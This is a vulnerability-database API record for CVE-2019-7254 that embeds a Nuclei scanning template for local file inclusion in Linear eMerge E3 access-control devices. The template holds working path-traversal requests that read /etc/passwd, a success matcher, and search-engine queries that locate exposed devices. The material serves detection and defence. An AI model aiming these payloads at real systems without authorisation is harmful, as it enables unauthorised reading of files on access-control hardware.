{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-7254/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-7254/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-7254/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-7254/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-7254/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-7254"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-7254"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-7254.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2019-7254\n\ninfo:\n  name: eMerge E3 1.00-06 - Local File Inclusion\n  author: 0x_Akoko\n  severity: high\n  description: Linear eMerge E3-Series devices are vulnerable to local file inclusion.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.\n  remediation: |\n    Apply the latest security patch or update to a non-vulnerable version of eMerge E3.\n  reference:\n    - https://www.exploit-db.com/exploits/47616\n    - https://applied-risk.com/labs/advisories\n    - https://www.applied-risk.com/resources/ar-2019-005\n    - http://packetstormsecurity.com/files/155252/Linear-eMerge-E3-1.00-06-Directory-Traversal.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-7254\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2019-7254\n    cwe-id: CWE-22\n    epss-score: 0.82292\n    epss-percentile: 0.99644\n    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: nortekcontrol\n    product: linear_emerge_essential_firmware\n    shodan-query: http.title:\"emerge\"\n    fofa-query: title=\"emerge\"\n    google-query: intitle:\"emerge\"\n  tags: cve,cve2019,emerge,lfi,edb,packetstorm,nortekcontrol,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?c=../../../../../../etc/passwd%00\"\n      - \"{{BaseURL}}/badging/badge_print_v0.php?tpl=../../../../../etc/passwd\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402206da22be3ba849b74f36fdfc33e8008e9ad3886f8f370337094dcee5ed460284802206519e4686a26e0d85ef8eaf5833df26644539b0cd266da982ef7034ff065bf06:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-7254"
}